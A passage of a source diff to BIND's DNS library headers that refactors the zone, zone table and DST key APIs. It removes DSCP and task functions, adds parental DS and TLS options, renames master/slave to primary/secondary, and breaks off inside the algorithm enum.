-dns_zone_setalsonotify(dns_zone_t *zone, const isc_sockaddr_t *notify,
-		       const isc_dscp_t *dscps, dns_name_t **keynames,
+void
+dns_zone_setalsonotify(dns_zone_t *zone, isc_sockaddr_t *addresses,
+		       isc_sockaddr_t *sources, dns_name_t **keynames,
 		       dns_name_t **tlsnames, uint32_t count);
 /*%<
  *	Set the list of additional servers to be notified when
@@ -668,7 +679,7 @@ dns_zone_setalsonotify(dns_zone_t *zone, const isc_sockaddr_t *notify,
  *
  * Require:
  *\li	'zone' to be a valid zone.
- *\li	'notify' to be non-NULL if count != 0.
+ *\li	'addresses' to be non-NULL if count != 0.
  *\li	'count' to be the number of notifiees.
  *
  * Returns:
@@ -696,6 +707,8 @@ dns_zone_getkasp(dns_zone_t *zone);
 
 void
 dns_zone_setkasp(dns_zone_t *zone, dns_kasp_t *kasp);
+void
+dns_zone_setdefaultkasp(dns_zone_t *zone, dns_kasp_t *kasp);
 /*%<
  *	Set kasp for zone.  If a kasp is already set, it will be detached.
  *
@@ -783,8 +796,6 @@ dns_zone_setmaxretrytime(dns_zone_t *zone, uint32_t val);
 
 isc_result_t
 dns_zone_setxfrsource4(dns_zone_t *zone, const isc_sockaddr_t *xfrsource);
-isc_result_t
-dns_zone_setaltxfrsource4(dns_zone_t *zone, const isc_sockaddr_t *xfrsource);
 /*%<
  * 	Set the source address to be used in IPv4 zone transfers.
  *
@@ -798,8 +809,6 @@ dns_zone_setaltxfrsource4(dns_zone_t *zone, const isc_sockaddr_t *xfrsource);
 
 isc_sockaddr_t *
 dns_zone_getxfrsource4(dns_zone_t *zone);
-isc_sockaddr_t *
-dns_zone_getaltxfrsource4(dns_zone_t *zone);
 /*%<
  *	Returns the source address set by a previous dns_zone_setxfrsource4
  *	call, or the default of inaddr_any, port 0.
@@ -809,80 +818,72 @@ dns_zone_getaltxfrsource4(dns_zone_t *zone);
  */
 
 isc_result_t
-dns_zone_setxfrsource4dscp(dns_zone_t *zone, isc_dscp_t dscp);
-isc_result_t
-dns_zone_setaltxfrsource4dscp(dns_zone_t *zone, isc_dscp_t dscp);
+dns_zone_setxfrsource6(dns_zone_t *zone, const isc_sockaddr_t *xfrsource);
 /*%<
- * Set the DSCP value associated with the transfer/alt-transfer source.
+ * 	Set the source address to be used in IPv6 zone transfers.
  *
  * Require:
  *\li	'zone' to be a valid zone.
+ *\li	'xfrsource' to contain the address.
  *
  * Returns:
  *\li	#ISC_R_SUCCESS
  */
 
-isc_dscp_t
-dns_zone_getxfrsource4dscp(dns_zone_t *zone);
-isc_dscp_t
-dns_zone_getaltxfrsource4dscp(dns_zone_t *zone);
-/*%/
- * Get the DSCP value associated with the transfer/alt-transfer source.
+isc_sockaddr_t *
+dns_zone_getxfrsource6(dns_zone_t *zone);
+/*%<
+ *	Returns the source address set by a previous dns_zone_setxfrsource6
+ *	call, or the default of in6addr_any, port 0.
  *
  * Require:
  *\li	'zone' to be a valid zone.
  */
 
 isc_result_t
-dns_zone_setxfrsource6(dns_zone_t *zone, const isc_sockaddr_t *xfrsource);
-isc_result_t
-dns_zone_setaltxfrsource6(dns_zone_t *zone, const isc_sockaddr_t *xfrsource);
+dns_zone_setparentalsrc4(dns_zone_t *zone, const isc_sockaddr_t *parentalsrc);
 /*%<
- * 	Set the source address to be used in IPv6 zone transfers.
+ * 	Set the source address to be used with IPv4 parental DS queries.
  *
  * Require:
  *\li	'zone' to be a valid zone.
- *\li	'xfrsource' to contain the address.
+ *\li	'parentalsrc' to contain the address.
  *
  * Returns:
  *\li	#ISC_R_SUCCESS
  */
 
 isc_sockaddr_t *
-dns_zone_getxfrsource6(dns_zone_t *zone);
-isc_sockaddr_t *
-dns_zone_getaltxfrsource6(dns_zone_t *zone);
+dns_zone_getparentalsrc4(dns_zone_t *zone);
 /*%<
- *	Returns the source address set by a previous dns_zone_setxfrsource6
- *	call, or the default of in6addr_any, port 0.
+ *	Returns the source address set by a previous dns_zone_setparentalsrc4
+ *	call, or the default of inaddr_any, port 0.
  *
  * Require:
  *\li	'zone' to be a valid zone.
  */
 
-isc_dscp_t
-dns_zone_getxfrsource6dscp(dns_zone_t *zone);
-isc_dscp_t
-dns_zone_getaltxfrsource6dscp(dns_zone_t *zone);
-/*%/
- * Get the DSCP value associated with the transfer/alt-transfer source.
+isc_result_t
+dns_zone_setparentalsrc6(dns_zone_t *zone, const isc_sockaddr_t *parentalsrc);
+/*%<
+ * 	Set the source address to be used with IPv6 parental DS queries.
  *
  * Require:
  *\li	'zone' to be a valid zone.
+ *\li	'parentalsrc' to contain the address.
+ *
+ * Returns:
+ *\li	#ISC_R_SUCCESS
  */
 
-isc_result_t
-dns_zone_setxfrsource6dscp(dns_zone_t *zone, isc_dscp_t dscp);
-isc_result_t
-dns_zone_setaltxfrsource6dscp(dns_zone_t *zone, isc_dscp_t dscp);
+isc_sockaddr_t *
+dns_zone_getparentalsrc6(dns_zone_t *zone);
 /*%<
- * Set the DSCP value associated with the transfer/alt-transfer source.
+ *	Returns the source address set by a previous dns_zone_setparentalsrc6
+ *	call, or the default of in6addr_any, port 0.
  *
  * Require:
  *\li	'zone' to be a valid zone.
- *
- * Returns:
- *\li	#ISC_R_SUCCESS
  */
 
 isc_result_t
@@ -908,27 +909,6 @@ dns_zone_getnotifysrc4(dns_zone_t *zone);
  *\li	'zone' to be a valid zone.
  */
 
-isc_dscp_t
-dns_zone_getnotifysrc4dscp(dns_zone_t *zone);
-/*%/
- * Get the DSCP value associated with the IPv4 notify source.
- *
- * Require:
- *\li	'zone' to be a valid zone.
- */
-
-isc_result_t
-dns_zone_setnotifysrc4dscp(dns_zone_t *zone, isc_dscp_t dscp);
-/*%<
- * Set the DSCP value associated with the IPv4 notify source.
- *
- * Require:
- *\li	'zone' to be a valid zone.
- *
- * Returns:
- *\li	#ISC_R_SUCCESS
- */
-
 isc_result_t
 dns_zone_setnotifysrc6(dns_zone_t *zone, const isc_sockaddr_t *notifysrc);
 /*%<
@@ -952,27 +932,6 @@ dns_zone_getnotifysrc6(dns_zone_t *zone);
  *\li	'zone' to be a valid zone.
  */
 
-isc_dscp_t
-dns_zone_getnotifysrc6dscp(dns_zone_t *zone);
-/*%/
- * Get the DSCP value associated with the IPv6 notify source.
- *
- * Require:
- *\li	'zone' to be a valid zone.
- */
-
-isc_result_t
-dns_zone_setnotifysrc6dscp(dns_zone_t *zone, isc_dscp_t dscp);
-/*%<
- * Set the DSCP value associated with the IPv6 notify source.
- *
- * Require:
- *\li	'zone' to be a valid zone.
- *
- * Returns:
- *\li	#ISC_R_SUCCESS
- */
-
 void
 dns_zone_setnotifyacl(dns_zone_t *zone, dns_acl_t *acl);
 /*%<
@@ -1168,17 +1127,17 @@ dns_zone_clearxfracl(dns_zone_t *zone);
 bool
 dns_zone_getupdatedisabled(dns_zone_t *zone);
 /*%<
- * Return update disabled.
- * Transient unless called when running in isc_task_exclusive() mode.
+ * Return true if updates are disabled.
  */
 
 void
 dns_zone_setupdatedisabled(dns_zone_t *zone, bool state);
 /*%<
- * Set update disabled.
- * Should only be called only when running in isc_task_exclusive() mode.
- * Failure to do so may result in updates being committed after the
- * call has been made.
+ * Enable or disable updates.
+ *
+ * This should only be called when running in exclusive mode;
+ * otherwise, updates that were already in progress could be
+ * committed after disabling.
  */
 
 bool
@@ -1321,7 +1280,7 @@ dns_zone_getjournal(dns_zone_t *zone);
 dns_zonetype_t
 dns_zone_gettype(dns_zone_t *zone);
 /*%<
- * Returns the type of the zone (master/slave/etc.)
+ * Returns the type of the zone (primary/secondary/etc.)
  *
  * Requires:
  *\li	'zone' to be valid initialised zone.
@@ -1330,37 +1289,16 @@ dns_zone_gettype(dns_zone_t *zone);
 dns_zonetype_t
 dns_zone_getredirecttype(dns_zone_t *zone);
 /*%<
- * Returns whether the redirect zone is configured as a master or a
- * slave zone.
+ * Returns whether the redirect zone is configured as a primary or a
+ * secondary zone.
  *
  * Requires:
  *\li	'zone' to be valid initialised zone.
  *\li	'zone' to be a redirect zone.
  *
  * Returns:
- *\li	'dns_zone_master'
- *\li	'dns_zone_slave'
- */
-
-void
-dns_zone_settask(dns_zone_t *zone, isc_task_t *task);
-/*%<
- * Give a zone a task to work with.  Any current task will be detached.
- *
- * Requires:
- *\li	'zone' to be valid.
- *\li	'task' to be valid.
- */
-
-void
-dns_zone_gettask(dns_zone_t *zone, isc_task_t **target);
-/*%<
- * Attach '*target' to the zone's task.
- *
- * Requires:
- *\li	'zone' to be valid initialised zone.
- *\li	'zone' to have a task.
- *\li	'target' to be != NULL && '*target' == NULL.
+ *\li	'dns_zone_primary'
+ *\li	'dns_zone_secondary'
  */
 
 void
@@ -1546,11 +1484,17 @@ dns_zone_setnotifytype(dns_zone_t *zone, dns_notifytype_t notifytype);
  * Sets zone notify method to "notifytype"
  */
 
+void
+dns_zone_setcheckdstype(dns_zone_t *zone, dns_checkdstype_t checkdstype);
+/*%<
+ * Sets zone checkds method to "checkdstype"
+ */
+
 isc_result_t
 dns_zone_forwardupdate(dns_zone_t *zone, dns_message_t *msg,
 		       dns_updatecallback_t callback, void *callback_arg);
 /*%<
- * Forward 'msg' to each master in turn until we get an answer or we
+ * Forward 'msg' to each primary in turn until we get an answer or we
  * have exhausted the list of primaries. 'callback' will be called with
  * ISC_R_SUCCESS if we get an answer and the returned message will be
  * passed as 'answer_message', otherwise a non ISC_R_SUCCESS result code
@@ -1628,30 +1572,30 @@ dns_zone_getkeydirectory(dns_zone_t *zone);
  */
 
 isc_result_t
-dns_zonemgr_create(isc_mem_t *mctx, isc_taskmgr_t *taskmgr,
-		   isc_timermgr_t *timermgr, isc_socketmgr_t *socketmgr,
-		   isc_nm_t *netmgr, dns_zonemgr_t **zmgrp);
-/*%<
- * Create a zone manager.  Note: the zone manager will not be able to
- * manage any zones until dns_zonemgr_setsize() has been run.
+dns_zone_getdnsseckeys(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver,
+		       isc_stdtime_t now, dns_dnsseckeylist_t *keys);
+/*%
+ * Find DNSSEC keys used for signing with dnssec-policy. Load these keys
+ * into 'keys'.
  *
  * Requires:
- *\li	'mctx' to be a valid memory context.
- *\li	'taskmgr' to be a valid task manager.
- *\li	'timermgr' to be a valid timer manager.
- *\li	'zmgrp'	to point to a NULL pointer.
+ *\li	'zone' to be valid initialised zone.
+ *\li	'keys' to be an initialised DNSSEC keylist.
+ *
+ * Returns:
+ *\li	#ISC_R_SUCCESS
+ *\li	Error
  */
 
-isc_result_t
-dns_zonemgr_setsize(dns_zonemgr_t *zmgr, int num_zones);
+void
+dns_zonemgr_create(isc_mem_t *mctx, isc_loopmgr_t *loopmgr, isc_nm_t *netmgr,
+		   dns_zonemgr_t **zmgrp);
 /*%<
- *	Set the size of the zone manager task pool.  This must be run
- *	before zmgr can be used for managing zones.  Currently, it can only
- *	be run once; the task pool cannot be resized.
+ * Create a zone manager.
  *
  * Requires:
- *\li	zmgr is a valid zone manager.
- *\li	zmgr->zonetasks has been initialized.
+ *\li	'mctx' to be a valid memory context.
+ *\li	'zmgrp'	to point to a NULL pointer.
  */
 
 isc_result_t
@@ -1682,14 +1626,6 @@ dns_zonemgr_forcemaint(dns_zonemgr_t *zmgr);
  * to take place at the system's earliest convenience.
  */
 
-void
-dns__zonemgr_run(isc_task_t *task, isc_event_t *event);
-/*%<
- * Event handler to call dns_zonemgr_forcemaint(); used to start
- * zone operations from a unit test.  Not intended for use outside
- * libdns or related tests.
- */
-
 void
 dns_zonemgr_resumexfrs(dns_zonemgr_t *zmgr);
 /*%<
@@ -1743,12 +1679,6 @@ dns_zonemgr_releasezone(dns_zonemgr_t *zmgr, dns_zone_t *zone);
  *\li	'zone->zmgr' == NULL;
  */
 
-isc_taskmgr_t *
-dns_zonemgr_gettaskmgr(dns_zonemgr_t *zmgr);
-/*%
- * Get the tasmkgr object attached to 'zmgr'.
- */
-
 void
 dns_zonemgr_settransfersin(dns_zonemgr_t *zmgr, uint32_t value);
 /*%<
@@ -1787,24 +1717,12 @@ dns_zonemgr_gettransfersperns(dns_zonemgr_t *zmgr);
  */
 
 void
-dns_zonemgr_setiolimit(dns_zonemgr_t *zmgr, uint32_t iolimit);
+dns_zonemgr_setcheckdsrate(dns_zonemgr_t *zmgr, unsigned int value);
 /*%<
- *	Set the number of simultaneous file descriptors available for
- *	reading and writing masterfiles.
+ *	Set the number of parental DS queries sent per second.
  *
  * Requires:
- *\li	'zmgr' to be a valid zone manager.
- *\li	'iolimit' to be positive.
- */
-
-uint32_t
-dns_zonemgr_getiolimit(dns_zonemgr_t *zmgr);
-/*%<
- *	Get the number of simultaneous file descriptors available for
- *	reading and writing masterfiles.
- *
- * Requires:
- *\li	'zmgr' to be a valid zone manager.
+ *\li	'zmgr' to be a valid zone manager
  */
 
 void
@@ -1909,6 +1827,18 @@ dns_zonemgr_unreachabledel(dns_zonemgr_t *zmgr, isc_sockaddr_t *remote,
  *\li	'local' to be a valid sockaddr.
  */
 
+void
+dns_zonemgr_set_tlsctx_cache(dns_zonemgr_t	*zmgr,
+			     isc_tlsctx_cache_t *tlsctx_cache);
+/*%<
+ *	Set the TLS client context cache used for zone transfers via
+ *	encrypted transports (e.g. XoT).
+ *
+ * Requires:
+ *\li	'zmgr' is a valid zone manager.
+ *\li	'tlsctx_cache' is a valid TLS context cache.
+ */
+
 void
 dns_zone_forcereload(dns_zone_t *zone);
 /*%<
@@ -2274,7 +2204,7 @@ dns_zone_isdynamic(dns_zone_t *zone, bool ignore_freeze);
  * master file (if any) is written by the server, rather than being
  * updated manually and read by the server.
  *
- * This is true for slave zones, stub zones, key zones, and zones that
+ * This is true for secondary zones, stub zones, key zones, and zones that
  * allow dynamic updates either by having an update policy ("ssutable")
  * or an "allow-update" ACL with a value other than exactly "{ none; }".
  *
@@ -2367,7 +2297,7 @@ dns_zone_setserialupdatemethod(dns_zone_t *zone, dns_updatemethod_t method);
 
 dns_updatemethod_t
 dns_zone_getserialupdatemethod(dns_zone_t *zone);
-/*%
+/*%<
  * Returns the update method to be used when incrementing the zone serial
  * number due to a DDNS update.
  *
@@ -2381,14 +2311,28 @@ dns_zone_link(dns_zone_t *zone, dns_zone_t *raw);
 void
 dns_zone_getraw(dns_zone_t *zone, dns_zone_t **raw);
 
+bool
+dns_zone_israw(dns_zone_t *zone);
+
+bool
+dns_zone_issecure(dns_zone_t *zone);
+
 isc_result_t
 dns_zone_keydone(dns_zone_t *zone, const char *data);
+/*%<
+ * Delete the private-type record from the top of the zone
+ * which indicates that signing is complete with the key matching
+ * 'data'; this is invoked by 'rndc signing -clear'.
+ *
+ * Requires:
+ * \li	'zone' to be valid.
+ */
 
 isc_result_t
 dns_zone_setnsec3param(dns_zone_t *zone, uint8_t hash, uint8_t flags,
 		       uint16_t iter, uint8_t saltlen, unsigned char *salt,
 		       bool replace, bool resalt);
-/*%
+/*%<
  * Set the NSEC3 parameters for the zone.
  *
  * If 'replace' is true, then the existing NSEC3 chain, if any, will
@@ -2423,13 +2367,13 @@ dns_zone_getloadtime(dns_zone_t *zone, isc_time_t *loadtime);
 isc_result_t
 dns_zone_getrefreshtime(dns_zone_t *zone, isc_time_t *refreshtime);
 /*%
- * Return the time when the (slave) zone will need to be refreshed.
+ * Return the time when the (secondary) zone will need to be refreshed.
  */
 
 isc_result_t
 dns_zone_getexpiretime(dns_zone_t *zone, isc_time_t *expiretime);
 /*%
- * Return the time when the (slave) zone will expire.
+ * Return the time when the (secondary) zone will expire.
  */
 
 isc_result_t
@@ -2476,6 +2420,27 @@ dns_zone_catz_enable(dns_zone_t *zone, dns_catz_zones_t *catzs);
  * \li	prior to calling, zone->catzs is NULL or is equal to 'catzs'
  */
 
+void
+dns_zone_catz_disable(dns_zone_t *zone);
+/*%<
+ * Disable zone as catalog zone, if it is one.  Also disables any
+ * registered callbacks for the catalog zone.
+ *
+ * Requires:
+ *
+ * \li	'zone' is a valid zone object
+ */
+
+bool
+dns_zone_catz_is_enabled(dns_zone_t *zone);
+/*%<
+ * Return a boolean indicating whether the zone is enabled as catalog zone.
+ *
+ * Requires:
+ *
+ * \li	'zone' is a valid zone object
+ */
+
 void
 dns_zone_catz_enable_db(dns_zone_t *zone, dns_db_t *db);
 /*%<
@@ -2499,7 +2464,7 @@ dns_zone_set_parentcatz(dns_zone_t *zone, dns_catz_zone_t *catz);
  */
 
 dns_catz_zone_t *
-dns_zone_get_parentcatz(const dns_zone_t *zone);
+dns_zone_get_parentcatz(dns_zone_t *zone);
 /*%<
  * Get parent catalog zone for this zone
  *
@@ -2571,4 +2536,61 @@ dns_zonetype_name(dns_zonetype_t type);
  * Return the name of the zone type 'type'.
  */
 
-#endif /* DNS_ZONE_H */
+isc_mem_t *
+dns_zone_getmem(dns_zone_t *zone);
+/**<
+ * \brief Return memory context associated with the zone.
+ *
+ * \param zone valid dns_zone_t object.
+ *
+ * \return memory context associated with the zone
+ */
+
+unsigned int
+dns_zone_gettid(dns_zone_t *zone);
+/**<
+ * \brief Return thread-id associated with the zone.
+ *
+ * \param valid dns_zone_t object
+ *
+ * \return thread id associated with the zone
+ */
+
+isc_loop_t *
+dns_zone_getloop(dns_zone_t *zone);
+/**<
+ * \brief Return loop associated with the zone.
+ *
+ * \param valid dns_zone_t object
+ *
+ * \return loop associated with the zone
+ */
+
+bool
+dns_zone_check_dnskey_nsec3(dns_zone_t *zone, dns_db_t *db,
+			    dns_dbversion_t *ver, dns_diff_t *diff,
+			    dst_key_t **keys, unsigned int numkeys);
+/**<
+ * Return whether the zone would enter an inconsistent state where NSEC only
+ * DNSKEYs are present along NSEC3 chains.
+ *
+ * Requires:
+ * \li	'zone' to be a valid zone.
+ * \li	'db'is not NULL.
+ *
+ * Returns:
+ * \li	'true' if the check passes, that is the zone remains consistent,
+ *	'false' if the zone would have NSEC only DNSKEYs and an NSEC3 chain.
+ */
+
+#if DNS_ZONE_TRACE
+#define dns_zone_ref(ptr)   dns_zone__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_zone_unref(ptr) dns_zone__unref(ptr, __func__, __FILE__, __LINE__)
+#define dns_zone_attach(ptr, ptrp) \
+	dns_zone__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define dns_zone_detach(ptrp) \
+	dns_zone__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(dns_zone);
+#else
+ISC_REFCOUNT_DECL(dns_zone);
+#endif
diff --git a/lib/dns/include/dns/zonekey.h b/lib/dns/include/dns/zonekey.h
index 0235d1d70e..b093fa924d 100644
--- a/lib/dns/include/dns/zonekey.h
+++ b/lib/dns/include/dns/zonekey.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_ZONEKEY_H
-#define DNS_ZONEKEY_H 1
+#pragma once
 
 /*! \file dns/zonekey.h */
 
@@ -32,5 +33,3 @@ dns_zonekey_iszonekey(dns_rdata_t *keyrdata);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_ZONEKEY_H */
diff --git a/lib/dns/include/dns/zoneverify.h b/lib/dns/include/dns/zoneverify.h
index 9a1b362347..22a680ac53 100644
--- a/lib/dns/include/dns/zoneverify.h
+++ b/lib/dns/include/dns/zoneverify.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/dns/include/dns/zt.h b/lib/dns/include/dns/zt.h
index ef5982732b..3ed74911c2 100644
--- a/lib/dns/include/dns/zt.h
+++ b/lib/dns/include/dns/zt.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,47 +11,47 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_ZT_H
-#define DNS_ZT_H 1
+#pragma once
 
 /*! \file dns/zt.h */
 
 #include <stdbool.h>
 
 #include <isc/lang.h>
+#include <isc/rwlock.h>
 
 #include <dns/types.h>
 
-#define DNS_ZTFIND_NOEXACT 0x01
-#define DNS_ZTFIND_MIRROR  0x02
-
 ISC_LANG_BEGINDECLS
 
-typedef isc_result_t (*dns_zt_allloaded_t)(void *arg);
-/*%<
- * Method prototype: when all pending zone loads are complete,
- * the zone table can inform the caller via a callback function with
- * this signature.
- */
+typedef enum dns_ztfind {
+	DNS_ZTFIND_EXACT = 1 << 0,
+	DNS_ZTFIND_NOEXACT = 1 << 1,
+	DNS_ZTFIND_MIRROR = 1 << 2,
+} dns_ztfind_t;
 
-typedef isc_result_t (*dns_zt_zoneloaded_t)(dns_zt_t *zt, dns_zone_t *zone,
-					    isc_task_t *task);
-/*%<
- * Method prototype: when a zone finishes loading, the zt object
- * can be informed via a callback function with this signature.
- */
+typedef isc_result_t
+dns_zt_callback_t(void *arg);
 
-isc_result_t
-dns_zt_create(isc_mem_t *mctx, dns_rdataclass_t rdclass, dns_zt_t **zt);
+void
+dns_zt_create(isc_mem_t *mctx, dns_view_t *view, dns_zt_t **ztp);
 /*%<
- * Creates a new zone table.
+ * Creates a new zone table for a view.
  *
  * Requires:
  * \li	'mctx' to be initialized.
+ * \li	'view' is non-NULL
+ * \li	'ztp' is non-NULL
+ * \li	'*ztp' is NULL
+ */
+
+void
+dns_zt_compact(dns_zt_t *zt);
+/*%<
+ * Reclaim unused memory in the zone table
  *
- * Returns:
- * \li	#ISC_R_SUCCESS on success.
- * \li	#ISC_R_NOMEMORY
+ * Requires:
+ * \li	'zt' to be valid
  */
 
 isc_result_t
@@ -64,8 +66,6 @@ dns_zt_mount(dns_zt_t *zt, dns_zone_t *zone);
  * Returns:
  * \li	#ISC_R_SUCCESS
  * \li	#ISC_R_EXISTS
- * \li	#ISC_R_NOSPACE
- * \li	#ISC_R_NOMEMORY
  */
 
 isc_result_t
@@ -74,37 +74,38 @@ dns_zt_unmount(dns_zt_t *zt, dns_zone_t *zone);
  * Unmount the given zone from the table.
  *
  * Requires:
- * 	'zt' to be valid
+ *	'zt' to be valid
  * \li	'zone' to be valid
  *
  * Returns:
  * \li	#ISC_R_SUCCESS
  * \li	#ISC_R_NOTFOUND
- * \li	#ISC_R_NOMEMORY
  */
 
 isc_result_t
-dns_zt_find(dns_zt_t *zt, const dns_name_t *name, unsigned int options,
-	    dns_name_t *foundname, dns_zone_t **zone);
+dns_zt_find(dns_zt_t *zt, const dns_name_t *name, dns_ztfind_t options,
+	    dns_zone_t **zone);
 /*%<
- * Find the best match for 'name' in 'zt'.  If foundname is non NULL
- * then the name of the zone found is returned.
+ * Find the best match for 'name' in 'zt'.
  *
  * Notes:
- * \li	If the DNS_ZTFIND_NOEXACT is set, the best partial match (if any)
- *	to 'name' will be returned.
+ * \li	If the DNS_ZTFIND_EXACT option is set, only an exact match is
+ *	returned.
+ *
+ * \li	If the DNS_ZTFIND_NOEXACT option is set, the closest matching
+ *      parent domain is returned, even when there is an exact match
+ *      in the tree.
  *
  * Requires:
  * \li	'zt' to be valid
  * \li	'name' to be valid
- * \li	'foundname' to be initialized and associated with a fixedname or NULL
  * \li	'zone' to be non NULL and '*zone' to be NULL
+ * \li	DNS_ZTFIND_EXACT and DNS_ZTFIND_NOEXACT are not both set
  *
  * Returns:
  * \li	#ISC_R_SUCCESS
- * \li	#DNS_R_PARTIALMATCH
+ * \li	#DNS_R_PARTIALMATCH (if DNS_ZTFIND_EXACT is not set)
  * \li	#ISC_R_NOTFOUND
- * \li	#ISC_R_NOSPACE
  */
 
 void
@@ -118,14 +119,13 @@ dns_zt_detach(dns_zt_t **ztp);
  */
 
 void
-dns_zt_flushanddetach(dns_zt_t **ztp);
+dns_zt_flush(dns_zt_t *ztp);
 /*%<
- * Detach the given zonetable, if the reference count goes to zero the
- * zonetable will be flushed and then freed.  In either case 'ztp' is
- * set to NULL.
+ * Schedule flushing of the given zonetable, when reference count goes
+ * to zero.
  *
  * Requires:
- * \li	'*ztp' to be valid
+ * \li	'ztp' to be valid
  */
 
 void
@@ -142,14 +142,14 @@ isc_result_t
 dns_zt_load(dns_zt_t *zt, bool stop, bool newonly);
 
 isc_result_t
-dns_zt_asyncload(dns_zt_t *zt, bool newonly, dns_zt_allloaded_t alldone,
+dns_zt_asyncload(dns_zt_t *zt, bool newonly, dns_zt_callback_t alldone,
 		 void *arg);
 /*%<
- * Load all zones in the table.  If 'stop' is true,
- * stop on the first error and return it.  If 'stop'
- * is false, ignore errors.
+ * Load all zones in the table. If 'stop' is true, stop on the first
+ * error and return it. If 'stop' is false, ignore errors.
+ *
+ * If newonly is set only zones that were never loaded are loaded.
  *
- * if newonly is set only zones that were never loaded are loaded.
  * dns_zt_asyncload() loads zones asynchronously; when all
  * zones in the zone table have finished loaded (or failed due
  * to errors), the caller is informed by calling 'alldone'
@@ -160,9 +160,9 @@ dns_zt_asyncload(dns_zt_t *zt, bool newonly, dns_zt_allloaded_t alldone,
  */
 
 isc_result_t
-dns_zt_freezezones(dns_zt_t *zt, bool freeze);
+dns_zt_freezezones(dns_zt_t *zt, dns_view_t *view, bool freeze);
 /*%<
- * Freeze/thaw updates to master zones.
+ * Freeze/thaw updates to primary zones.
  * Any pending updates will be flushed.
  * Zones will be reloaded on thaw.
  */
@@ -182,8 +182,8 @@ dns_zt_apply(dns_zt_t *zt, bool stop, isc_result_t *sub,
  * Returns:
  * \li	ISC_R_SUCCESS if action was applied to all nodes.  If 'stop' is
  *	false and 'sub' is non NULL then the first error (if any)
- *	reported by 'action' is returned in '*sub';
- *	any error code from 'action'.
+ *	reported by 'action' is returned in '*sub'. If 'stop' is true,
+ *	the first error code from 'action' is returned.
  */
 
 bool
@@ -203,7 +203,7 @@ dns_zt_setviewcommit(dns_zt_t *zt);
  * zone table.
  *
  * Requires:
- *\li	'view' to be valid.
+ *\li	'zt' to be valid.
  */
 
 void
@@ -213,9 +213,7 @@ dns_zt_setviewrevert(dns_zt_t *zt);
  * zone table.
  *
  * Requires:
- *\li	'view' to be valid.
+ *\li	'zt' to be valid.
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_ZT_H */
diff --git a/lib/dns/include/dst/dst.h b/lib/dns/include/dst/dst.h
index 9fe44db1ba..a145e9e0b5 100644
--- a/lib/dns/include/dst/dst.h
+++ b/lib/dns/include/dst/dst.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DST_DST_H
-#define DST_DST_H 1
+#pragma once
 
 /*! \file dst/dst.h */
 
@@ -77,35 +78,46 @@ typedef enum dst_key_state {
 } dst_key_state_t;
 
 /* DST algorithm codes */
-#define DST_ALG_UNKNOWN	     0
-#define DST_ALG_RSA	     1 /* Used for parsing RSASHA1, RSASHA256 and RSASHA512 */
-#define DST_ALG_RSAMD5	     1
-#define DST_ALG_DH	     2
-#define DST_ALG_DSA	     3
-#define DST_ALG_ECC	     4
-#define DST_ALG_RSASHA1	     5
-#define DST_ALG_NSEC3DSA     6
-#define DST_ALG_NSEC3RSASHA1 7
-#define DST_ALG_RSASHA256    8
-#define DST_ALG_RSASHA512    10
-#define DST_ALG_ECCGOST	     12
-#define DST_ALG_ECDSA256     13
-#define DST_ALG_ECDSA384     14
-#define DST_ALG_ED25519	     15
-#define DST_ALG_ED448	     16
-#define DST_ALG_HMACMD5	     157
-#define DST_ALG_GSSAPI	     160
-#define DST_ALG_HMACSHA1     161 /* XXXMPA */
-#define DST_ALG_HMACSHA224   162 /* XXXMPA */
-#define DST_ALG_HMACSHA256   163 /* XXXMPA */
-#define DST_ALG_HMACSHA384   164 /* XXXMPA */
-#define DST_ALG_HMACSHA512   165 /* XXXMPA */
-#define DST_ALG_FALCON512    249
-#define DST_ALG_DILITHIUM2    250
-#define DST_ALG_SPHINCSSHA256128S    251
-#define DST_ALG_INDIRECT     252
-#define DST_ALG_PRIVATE	     254
-#define DST_MAX_ALGS	     256
+typedef enum dst_algorithm {
+	DST_ALG_UNKNOWN = 0,
+	DST_ALG_RSA = 1, /* Used for parsing RSASHA1, RSASHA256 and RSASHA512 */
+	DST_ALG_RSAMD5 = 1,
+	DST_ALG_DH = 2, /* Deprecated */
+	DST_ALG_DSA = 3,
+	DST_ALG_ECC = 4,
+	DST_ALG_RSASHA1 = 5,
+	DST_ALG_NSEC3DSA = 6,
+	DST_ALG_NSEC3RSASHA1 = 7,
+	DST_ALG_RSASHA256 = 8,
+	DST_ALG_RSASHA512 = 10,
+	DST_ALG_ECCGOST = 12,
+	DST_ALG_ECDSA256 = 13,
+	DST_ALG_ECDSA384 = 14,
+	DST_ALG_ED25519 = 15,
+	DST_ALG_ED448 = 16,
+
+	/*
+	 * Do not renumber HMAC algorithms as they are used externally to named
+	 * in legacy K* key pair files.
